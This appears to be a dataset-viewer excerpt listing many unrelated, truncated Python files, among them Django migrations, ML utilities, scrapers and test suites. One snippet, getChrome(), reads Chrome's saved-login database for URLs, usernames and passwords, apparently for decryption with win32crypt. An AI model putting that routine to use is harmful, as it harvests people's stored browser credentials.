content stringlengths 5 1.05M |
|---|
import copy
import re
import typing
import opentracing
from .globals import DATA_NAME_PREFIX, _expr_map, debug
from .tracer import tracer
__all__ = ["compiler_target_function"]
# An empty vega spec to send when we get invalid data.
EMPTY_VEGA = {
"$schema": "https://vega.github.io/schema/vega/v5.json",
"des... |
#!/usr/bin/env python -O
# -*- coding: ascii -*-
import argparse
import numpy as np
import os
import signal
import sys
from domains import Ringworld
class GTD:
def __init__(self, initial_x: np.ndarray):
self.e = np.copy(initial_x)
self.w = np.zeros(self.e.shape, dtype=float)
self.h = np.z... |
import time
import json
import sys
import hashlib
import operator
import numpy as np
import os
from datetime import datetime
import re
import json
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import matplotlib.ticker as tick
import matplotlib.dates as mdates
from matplotlib import rcParams... |
# This script shows how to change the appearance of points and lines in objects
# Changing the point style can help speed up rendering
# For more information about the RoboDK API:
# Documentation: https://robodk.com/doc/en/RoboDK-API.html
# Reference: https://robodk.com/doc/en/PythonAPI/index.html
#---------------... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('api', '0007_partofspeech'),
]
operations = [
migrations.CreateModel(
name='POSMention',
fields=[
... |
from django.db import models
from django.contrib.auth import get_user_model
User = get_user_model()
class Icecream(models.Model):
name = models.CharField(max_length=20)
desc = models.TextField()
avatar = models.ImageField(blank=True, null=True)
rating = models.IntegerField()
|
import psycopg2 as pg
import os, json, time
from flask import Flask, jsonify, request, abort, Response, make_response
try:
db_cred = {
"host" : os.environ["HASH_DB_HOST"],
"port" : os.environ["HASH_DB_PORT"],
"name" : os.environ["HASH_DB_NAME"],
"username" : os.environ["... |
import cv2
#input video file
video = cv2.VideoCapture('carsandped.mp4')
#using pre-trained classifer files for cars and pedestrians
car_tracker = cv2.CascadeClassifier('haarcascade_car.xml')
pedestrian_tracker = cv2.CascadeClassifier('haarcascade_fullbody.xml')
while True:
#to take each frame from... |
#!/usr/bin/env python3
class Parametres:
"""Une classe pour gérer les divers paramètres du jeu"""
def __init__(self):
"""Initialiser les paramètres du jeu"""
# Paramètres d'écran
self.ecran_largeur = 800
self.ecran_hauteur = 600
self.couleur_fond = (30, 30, 80)
... |
from typing import Any
from ..envs.poly_haystack_like_terms import PolyHaystackLikeTerms
from ..types import MathyEnvDifficulty, MathyEnvProblemArgs
from .mathy_gym_env import MathyGymEnv, safe_register
#
# Identify like terms in a haystack
#
class GymPolynomialLikeTermsHaystack(MathyGymEnv):
def __init__(self,... |
#On reset, after boot.py, this file is called.
import network
import neopixel_christmas_tree as npTree
import gpio
#******************************************************************************
def do_connect():
sta_if = network.WLAN(network.STA_IF)
if not sta_if.isconnected():
print('connecting to... |
import gin
import torch
import torch.nn.functional as f
from pytorch_lightning.metrics import functional as metrics
from pytorch_lightning.metrics import Metric
import torchmetrics.functional
def _compute_metric(preds, target, is_softmax, metric_func, activation=False, **kwargs):
target = target.int()
if is_s... |
"""Sensor platform for octoprint_hass."""
from homeassistant.helpers.entity import Entity
from .const import ATTRIBUTION, DEFAULT_NAME, DOMAIN_DATA, ICON, DOMAIN
async def async_setup_platform(
hass, config, async_add_entities, discovery_info=None
): # pylint: disable=unused-argument
"""Setup sensor ... |
#!/usr/bin/env python
# _*_ coding utf-8 _*_
from bs4 import BeautifulSoup
import requests
def dlimg_from_unsplash(url='https://unsplash.com/t/nature'):
i = 0
ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'
header = {"User-Agent": ua}
html = requests.get(url, headers=header... |
# Generated by Django 3.1 on 2020-08-27 01:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('rosters', '0034_auto_20200827_0123'),
]
operations = [
migrations.AlterField(
model_name='day',
name='number',
... |
import time
import os
from encrypt import transposition as transpt
def test():
input_file_name = 'test_input.txt'
output_file_name = 'test_output.txt'
key = 10
mode = 'encrypt'
if not os.path.exists(input_file_name):
with open(input_file_name, 'w'):
pass
if not os.path.ex... |
#!python3
"""
Demonstration of a multiple-clock strongly-budget-balanced ascending auction
for a multi-lateral market with a recipe tree
Author: Erel Segal-Halevi
Since: 2020-08
"""
import sys, os; sys.path.insert(0, os.path.abspath('..'))
from markets import Market
from agents import AgentCategory
import ascendin... |
import tensorflow as tf
import tensorflow.keras as keras
import tensorflow.keras.layers as layers
import dgl
from dgl.data.utils import load_graphs
from model import HAN
import time
# Get model and make a simple test
# g = dgl.heterograph({
# ('drug', 'interacts', 'drug'): (tf.constant([0, 1]), tf.constant([1, 2])... |
from srds import ParameterizedDistribution as PDist
# python-pi was made with req=10000, except xeongpu - this one was req=2000, due to the inexplicable slow response
ai_execution_time_distributions = {
('rpi3', 'faas-workloads/python-pi'): (1.909987211227417, 2.203219413757324, PDist.lognorm(
((1.55613519... |
from __future__ import unicode_literals
from norm import SELECT
from norm import INSERT
from norm import UPDATE
from norm import DELETE
from connection import ConnectionFactory
from connection import ConnectionProxy
from connection import CursorProxy
class SQLI_INSERT(INSERT):
bind_prefix = ':'
bind_postfix ... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.14 on 2018-09-24 15:39
from __future__ import unicode_literals
from django.db import migrations
from django.conf import settings
def createPytitionUsers(apps, schema_editor):
PytitionUser = apps.get_model('petition', 'PytitionUser')
User = apps.get_model(*settings.... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 5 22:54:58 2020
@author: arti
"""
import pandas as pd
import numpy as np
student1 = pd.Series({'Korean': np.nan, 'English':80, 'Math':90})
student2 = pd.Series({'Korean':80, 'Math':90})
print(student1); print('--')
print(student2); print('--')
... |
# Generated by Django 4.0.2 on 2022-03-15 15:26
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0204_carburenotification_notify_administrator'),
]
operations = [
migrations.AlterField(
model_name='carburenotification... |
if len(set('.'.join(input("").lower().split(" ")))) == 27:
print("pangram")
else:print("not pangram")
|
import numpy as np
from collections import defaultdict
from scipy.stats import multivariate_normal
from scipy.spatial.distance import cdist
_HEATMAP_THRESH = 0.0027
_2D_MAH_DIST_THRESH = 3.439
_SMALL_VAL = 1e-14
def two_d_iou(box, boxes):
"""Compute 2D IOU between a 2D bounding box 'box' and a list
:param b... |
#!/usr/bin/env python
#
# Copyright 2013 Greg Neagle
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
"""
RBX.py/Client.py
The heart of the RBX.py library;
This class is what actually fetches the different object instances and is essentially the bridge between the user and the rest of the library.
"""
from RBX_py.Asset import Asset
from RBX_py.Player import Player
class Client:
def __init__(self):
... |
from .events import get_event_loop
class InvalidStateError(Exception):
pass
class CancelledError(Exception):
pass
class TimeoutError(Exception):
pass
class Future:
"""
A class representing the future result of an async action.
Implementations should override the :method:`start` ... |
# !/usr/local/python/bin/python
# -*- coding: utf-8 -*-
# (C) Wu Dong, 2019
# All rights reserved
# @Author: 'Wu Dong <wudong@eastwu.cn>'
# @Time: '2020-03-17 16:02'
import json
import pytest
from flask import Flask
from flask import make_response
from pre_request import pre
from pre_request import Rule
app = Flask... |
import pytest
import numpy as np
from conftest import skipif
from devito import Grid, Function, TimeFunction, Eq, Operator, norm, solve
from devito.data import LEFT
from devito.exceptions import InvalidOperator
from devito.ir.iet import FindNodes, Section, retrieve_iteration_tree
from examples.seismic import TimeAxis,... |
import json
import glob
from base64 import b64encode, b64decode
files = glob.glob('images/*.sm.png')
b64list = []
for f in files:
# load images in batch and base64 encode them
with open(f, 'rb') as open_file:
byte_content = open_file.read()
base64_bytes = b64encode(byte_content)
base64_string = ... |
# Copyright 2021 Ismael Lugo <ismael.lugo@deloe.net>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... |
# -*- coding: utf-8 -*-
import importlib
import sys
import os
class SettingsLoadStrategyPythonModule(object):
"""
This is the strategy used to read settings from python modules.
"""
name = 'python_module'
@staticmethod
def is_valid_file(file_name):
try:
importlib.import_mod... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
("auth", "0006_require_contenttypes_0002"),
]
operations = [
migrations.CreateModel(
name="GroupProfile",
... |
"""Wrappers around copulas models."""
import logging
import copulas
import copulas.multivariate
import copulas.univariate
import numpy as np
import scipy
from sdv.metadata import Table
from sdv.tabular.base import BaseTabularModel, NonParametricError
from sdv.tabular.utils import flatten_dict, unflatten_dict
LOGGER... |
# Copyright (c) 2019 Toyota Research Institute. All rights reserved.
import unittest
from monty.tempfile import ScratchDir
from taburu.channel import FileChannel
from taburu.command import TaburuCommandProcessor, AddMethodCommanded, \
AddParameterCommanded
class CommandTest(unittest.TestCase):
def test_comm... |
"""Support for the Tesla sensors."""
from __future__ import annotations
from homeassistant.components.sensor import DEVICE_CLASSES, SensorEntity
from homeassistant.const import (
LENGTH_KILOMETERS,
LENGTH_MILES,
TEMP_CELSIUS,
TEMP_FAHRENHEIT,
)
from homeassistant.util.distance import convert
from . im... |
import json
import sys
from os.path import exists
import requests
baseUrl = 'http://idicolorz.it/picture/export-image/?artist={}&year={}&id={}'
def download(path):
f = open(path, "r")
data = json.load(f)
length = len(data)
for n, i in enumerate(data):
artist = i['Artist'].lower().replace(' '... |
import base64
from flask import Flask
from flask_login import LoginManager
from src.controller.UserController import user_controller
from src.controller.ColetorController import coletor_controller
from src.controller.DocumentoController import documento_controller
from src.controller.HostController import host_contr... |
'''
question-1
print "We will learn debugging by removing all the errors from this python file.
'''
print ("We will learn debugging by removing all the errors from this python file.")
'''
question-2
year = 2016
name = "NavGurukul"
print name + ', ' + + "mein start hua tha!"
'''
year = 2016
name = "NavGurukul"
pri... |
from .twodim_pose import TwoDimPoseEstimator
class HRPoseEstimator(TwoDimPoseEstimator):
def __init__(self,
backbone,
neck = None,
skeleton_head = None,
train_cfg = None,
test_cfg = None,
pretrained = Non... |
import pickle
import random
import matplotlib.pyplot as plt
from itertools import product
import numpy as np
def gini_impurity(L):
N = np.sum(L)
out = 0
for i in L:
out += (i/N)*(i/N)
return 1-out
print(gini_impurity([19,21,40]))
unitsDF = pickle.load( open( "C:\\Users\\Alexander\\Documents\... |
"""Object that acts like a MROW lock, but doesn't actually perform any locking."""
# Copyright (c) 2001-2009 ElevenCraft Inc.
# See LICENSE for details.
import sys
from schevo.lib import optimize
class dummy_lock(object):
"""Dummy class for read_lock and write_lock objects in a database,
so that code can be... |
import torch
from torch import Tensor
from torch import nn
from torch.nn import Parameter
from torch_geometric.nn.conv import MessagePassing
from torch_geometric.typing import Adj, OptTensor
from tsl.ops.connectivity import normalize
class GraphConv(MessagePassing):
r"""A simple graph convolutional operator wher... |
from datetime import *
from random import randint
se = ["Adana", "Adıyaman", "Afyon", "Ağrı", "Amasya", "Ankara", "Antalya", "Artvin",
"Aydın", "Balıkesir", "Bilecik", "Bingöl", "Bitlis", "Bolu", "Burdur", "Bursa", "Çanakkale",
"Çankırı", "Çorum", "Denizli", "Diyarbakır", "Edirne", "Elazığ", "Erzincan", "Erzurum", "Es... |
# Copyright (c) OpenMMLab. All rights reserved.
import numpy as np
import pytest
from mmflow.core.evaluation import (end_point_error, end_point_error_map,
eval_metrics, optical_flow_outliers)
def test_end_point_error_map():
flow_pred = np.random.normal(size=(10, 10, 2))
fl... |
import os
import shutil
import sys
import tempfile
from typing import cast, Dict, Optional, List, Set
import unittest
import unittest.mock
from bitcoinx import Header, hex_str_to_hash, Ops, Script
import pytest
from electrumsv.constants import (BlockHeight, CHANGE_SUBPATH, DATABASE_EXT, DerivationType,
DatabaseKe... |
import time
import random
import datetime
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
# 84.247.130.114:8080
# 84.214.150.146:8080
# 146.59.144.201:3128
# 194.32.146.146:8118
# PROXY = "84.214.150.146:8080"
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argum... |
import os
import platform
import time
from difflib import SequenceMatcher
import requests
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import artwork
import metadata
import utils
from youtube import download
from youtube import extract_playlist_inf... |
# #################################################################
# Codes have been tested successfully on Python 3.6.0 with TensorFlow 1.14.0.
# #################################################################
import scipy.io as sio
import numpy as np
import ma... |
from django.contrib.auth import get_user_model
from django.shortcuts import redirect, render
from django.views.generic import FormView, CreateView
from lists.forms import ExistingListItemForm, ItemForm
from lists.models import List
User = get_user_model()
# Create your views here.
class HomePageView(FormView):
... |
#!/usr/bin/python
# dump utmp
import utmp
from UTMPCONST import *
a = utmp.UtmpRecord()
for b in a:
print(b)
|
#!/usr/bin/python
import os
import sys
import string
import elementtree.ElementTree as ET
import slpsns
import slicing
import mismatches
def main(xbgfFile,bgfFile,xbgf,gdt,synch):
xbgfDir = '/'.join(xbgfFile.split('/')[:-1])
if xbgfDir == '':
xbgfDir = './'
elif xbgfDir[-1]!='/':
xbgfDir += '/'
print 'Slicing.... |
import beets
import json
import inspect
import os
cmd_dir = os.getcwd()
log = open(f"{cmd_dir}/# log.txt", "w")
original_to_normalized_field_mappings = {}
def get_obj_attrs(obj):
attrs = []
for member in inspect.getmembers(obj):
if not member[0].startswith("_") and not inspect.ismethod(member[1]):
... |
from __future__ import absolute_import
import os
from celery import Celery
from django.conf import settings
# set the default Django settings module for the 'celery' program.
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'rockit.settings')
app = Celery('rockit', backend='amqp', broker='amqp://guest@192.168.1.10/... |
#!/usr/bin/env python3
#
# Copyright 2012 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import collections
import logging
import os
# Stub for mockability.
_Open = open
VFSInfo = collections.namedt... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#=======================================================================
#
# dayN.py
# -------
# Solutions to Advent of Code 2020, day N.
#
#=======================================================================
import sys
#---------------------------------------------... |
import os
from gunicorn.app.base import BaseApplication
from app import app as application
from app.helpers import get_logging_cfg
class StandaloneApplication(BaseApplication): # pylint: disable=abstract-method
def __init__(self, app, options=None): # pylint: disable=redefined-outer-name
self.options... |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#
# Copyright (c) 2015 ASMlover. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyrig... |
#!/usr/bin/env python
#
# basic_tests.py: testing working-copy interactions with ra_local
#
# Subversion is a tool for revision control.
# See http://subversion.apache.org for more information.
#
# ====================================================================
# Licensed to the Apache Software Foundation (... |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2013 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... |
"""
Utility class for processing used immediately in registering MixCli commands
"""
from typing import Callable, Optional, Any, Union, Iterable, Dict, Tuple, Set
from types import FunctionType, ModuleType
from argparse import ArgumentParser
from inspect import getmembers, isfunction
from . import is_iterable
from ..c... |
"""Includes constants and enumerators for use in commodities models."""
from enum import Enum
SUFFIX_DECLARABLE = "80"
class TreeNodeRelation(Enum):
"""Provides an enumeration for commodity relation attributes."""
PARENT = "parent"
SIBLINGS = "siblings"
CHILDREN = "children"
ANCESTORS = "ancesto... |
import time
import sys
import csv
import numpy as np
r = csv.reader(open("output.csv"))
lines = list(r)
def valid(t):
spt = t.split(' ')
if len(spt) >= 2:
if spt[1] == 'a.m.' or spt[1] == 'p.m.':
return True
else:
return False
else:
return False
out = []... |
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import logging
import os
import ap_configurator
import selenium.common.exceptions
class DLinkAPConfigurator(ap_configurator.APConfigurator):
"""Deri... |
import argparse as ap
from os import listdir
import os
from os.path import isfile, join, basename
import re
parser = ap.ArgumentParser(description="Benchmark Your CL")
parser.add_argument('-D', '--dir', dest="bin_dir")
parser.add_argument('-n', '--num', dest="reps")
parser.add_argument('-l', '--lengths', dest="arrleng... |
import requests
import json
from airflow.models import Variable
def postSingle(dwObs, target):
# dwObsJson = json.dumps(dwObs)
# print(dwObsJson)
# exit()
if "staging" == target:
print("Pushing to staging API")
targetUrl = "https://apitest.laji.fi/v0/warehouse/push?access_token=" + Variable.get("inat... |
"""
Usage:
prepare.py --dir-name=NAME --type=TYPE --output-dir=PATH --round=NUM
"""
from docopt import docopt
import ast
import pickle
import torch
from tqdm import tqdm
import sys
import numpy as np
sys.path.append("/home/savi/ehsan/FederatedLearning")
import matplotlib.pyplot as plt
from federated_learning.helpe... |
import os
import sqlite3
import win32crypt
def getChrome():
dataPath = os.path.expanduser('~') + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
connect = sqlite3.connect(dataPath)
cursor = connect.cursor()
selectStatement = 'SELECT origin_url, username_value, password_value FROM ... |
# -*- coding: utf-8 -*-
# This file is part of Viper - https://github.com/viper-framework/viper
# See the file 'LICENSE' for copying permission.
import os
import re
import math
import string
import hashlib
from collections import Counter
from viper.common.abstracts import Module
from viper.core.session import __sessi... |
import contextlib
import sys
import logging
import time
import itertools
from .config import config
from .exceptions import MaxWhileTries
log = logging.getLogger(__name__)
@contextlib.contextmanager
def nested(*managers):
"""
Like contextlib.nested but takes callables returning context
managers, to avoid... |
# SPDX-FileCopyrightText: 2021 Jean-Sébastien Dieu <jean-sebastien.dieu@cfm.fr>
#
# SPDX-License-Identifier: MIT
from monitor_api.enums import MetricScope, ResourceType, ResourceMethod
from monitor_api.core.collections import Metrics, Sessions, Contexts
from monitor_api.core.entities import Session, Context
from monit... |
import keras
from keras.models import Sequential, Model
from keras.layers import Input, Dense, Dropout, Activation, Flatten, merge
from keras.layers import Convolution2D, AveragePooling2D, MaxPooling2D
from tensorflow.python.platform import flags
import tensorflow as tf
FLAGS = flags.FLAGS
def get_weights(shape):
... |
#!/usr/bin/env python3
import os
import sys
import argparse
import traceback
# Add the pulsar path
thispath = os.path.dirname(os.path.realpath(__file__))
psrpath = os.path.join(os.path.dirname(thispath), "modules")
sys.path.insert(0, psrpath)
import pulsar as psr
def Run(mm):
try:
out = psr.output.GetG... |
#!/usr/bin/python
# -*- coding: UTF-8 -*-
def runoob2():
print "I'm in runoob2"
try:
fh = open("../../resources/testfile", "w")
fh.write("this is a test")
except IOError, err:
print "IOError",err
else:
print "write scucess"
try:
fh = open("../../resources/testfile", "w")
fh.write("this i... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
Created on 20.11.2018
@author: joern
'''
import logging
import subprocess
import json
import glob
import os
import time
import signal
from phue import Bridge
from time import sleep
class GracefulKiller:
kill_now = False
def __init__(self):
signal.signal(signal.... |
"""Language chat class"""
from rival_regions_wrapper import LOGGER, api
from rival_regions_wrapper.wrapper.abstract_wrapper import AbstractWrapper
class LanguageChat(AbstractWrapper):
"""Wrapper class for language chat"""
def __init__(self, middleware, language):
AbstractWrapper.__init__(self, middl... |
from cleo import Command, option
from ilexconf.console.options import file_type, scopes
class ConvertCommand(Command):
name = "convert"
description = "Convert config from one format to another"
options = [file_type, *scopes]
def handle(self):
print("Nice conversion, my dude. You do that oft... |
#
# @author Daniel Maturana
# @year 2015
#
# @attention Copyright (c) 2015
# @attention Carnegie Mellon University
# @attention All rights reserved.
#
# @=
from libpyrosmsg import *
|
# -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
import datetime
import re
import string
import time
import os
try:
from urlparse import parse_qs
except ImportError:
from urllib.parse import parse_qs
import pytest
import pytz
from betamax import Betamax, BaseMatcher
from reques... |
# load modules
from dataclasses import dataclass
from typing import List, Union
from . import LeaderboardInfo, Metadata
# definition class
@dataclass(frozen=True)
class LeaderboardInfoCollection:
leaderboards: Union[List[LeaderboardInfo.LeaderboardInfo], List, None]
metadata: Union[Metadata.Metadata, None]... |
# Generated by Django 2.0.3 on 2018-06-25 22:17
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('zhihu', '0007_auto_20180625_2121'),
]
operations = [
migrations.AddField(
model_name='question',
name='is_anonymous',... |
# Copyright (c) 2017 Ned Hoy <nedhoy@gmail.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, p... |
"""
The ASTGraph is a simple graph representation of the ASTs obtained from semantic or the java parser.
As the CodeTransformer requires a mapping between tokens and AST nodes, a simple algorithm is given to locate tokens
in the AST based on the source span attribute of AST nodes. Tokens are mapped to the node that enc... |
from typing import List, Tuple, Union
import discord
from discord.embeds import EmptyEmbed
from modmail.config import CONFIG
DEFAULT_COLOR = int(CONFIG.colors.embed_color.as_hex().lstrip("#"), 16)
original_init = discord.Embed.__init__
def __init__(self: discord.Embed, description: str = None, **kwargs): # noqa... |
from pyradioconfig.parts.ocelot.calculators.calc_misc import CALC_Misc_ocelot
class Calc_Misc_Bobcat(CALC_Misc_ocelot):
def calc_misc(self, model):
#Call inherited calc_misc method
super().calc_misc(model)
#Add LongRange reg writes
self._reg_write(model.vars.MODEM_LONGRANGE_LRBLE... |
from django.contrib.auth.models import User
import django.contrib.auth.views as authviews
from django.http import HttpResponseRedirect, Http404
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.decorators import login_required
from django.utils.http import int_to_base36
from dj... |
from os.path import basename as _basename
from networkx import DiGraph as _networkx_DiGraph
from simtk.unit import kelvin, nanoseconds
from openktn.native.network import attributes as network_attributes
from openktn.native.microstate import attributes as microstate_attributes
from openktn.native.transition import attri... |
from django import forms
from django.conf import settings
from django.http import HttpResponse, HttpResponseRedirect, Http404
from homepage.models import *
from manager import models as mmod
from . import templater
def process_request(request):
'''Show the product catalog in the db'''
if not request.user.is_a... |
# gini in python
# by fariz darari
# inspired by Page 9 of http://www.fao.org/docs/up/easypol/329/gini_index_040en.pdf
def compute_gini(lst):
lst = sorted(lst) # gini formula assumes sorted data
c = len(lst) # number of elements
s = sum(lst) # total wealth
s_g_prev = 0
s_res = 0
for i in ... |
import numpy as np
import pandas as pd
import argparse
from pathlib import Path
from tabulate import tabulate
import matplotlib.pyplot as plt
STARTING_CASH = 3
MAX_ROLLS = 3
PLAYER_COLUMN_HEADER = 'player'
VICTORY_COLUMN_HEADER = 'victory ratio'
CSV_SEPARATOR = '\t'
OUTPUT_DIR = Path(__file__).parent.joinpath('output... |
from unittest import TestCase
from esbo_etc import CosmicBackground, BlackBodyTarget, SpectralQty
import numpy as np
import astropy.units as u
class TestCosmicBackground(TestCase):
def setUp(self):
self.target = BlackBodyTarget(np.arange(100, 105) * u.um, mag=0 * u.mag)
self.cosmic = CosmicBackgro... |
#!/usr/bin/env python
import os
import sys
from subprocess import check_output
BUILDS = {
"linux": ("386", "amd64", "arm"),
"freebsd": ("386", "amd64", "arm"),
"openbsd": ("386", "amd64", "arm"),
"darwin": ("386", "amd64"),
"windows": ("386", "amd64"),
}
VERSION = "0.0"
CMDBIN = ['jcms', 'jcms-admin']
def _p... |
name = "q2_cscs"
__version__ = "0.0.1"
|
from typing import Any, List, Optional
from uuid import UUID
from pydantic import BaseModel
from sqlmodel import Field, SQLModel
class ApiHealth(SQLModel):
database: bool = Field(default=..., title="Status of database")
class ExceptionResponse(BaseModel):
args: List[Any]
exception: str
message: Opt... |
from statsmodels.formula.api import ols
from statsmodels.stats.outliers_influence import summary_table
import pandas as pd
import numpy as np
import torch
from utilities.visualize import ax_plot
from matplotlib import pyplot as plt
def TwoWayFixedEffectModel(X_tr, X_co, Y_tr, Y_co, ATT, T0):
N_tr, T, d = list(X_t... |
import pygame as pg
import sys
import time
from flock import Flock
def main():
background_color = (63, 63, 63) # rgb
pg.init()
# TODO see if there is a way to set screen size relative to display size
window_size = (1500, 900) # width, height
flock = Flock(window_size, 150)
screen = pg.display.... |
"""Plot model results"""
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), os.path.pardir, '2_model', 'base'))
import pickle
import MySQLdb
import MySQLdb.cursors
import numpy as np
import pandas as pd
import matplotlib.ticker
import matplotlib.pyplot as plt
from dotenv imp... |
# coding: utf-8
"""
Qc API
Qc API # noqa: E501
The version of the OpenAPI document: 3.0.0
Contact: cloudsupport@telestream.net
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from telestream_cloud_qc.configuration import Configuration
class... |
"""Contains a class to facilitate calculation of a rolling average.
"""
class RollingAverage:
def __init__(self, max_period):
"""Parameters:
max_period: maximum number of periods to include in the rolling average.
When the total reading count is less than this, only the available ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.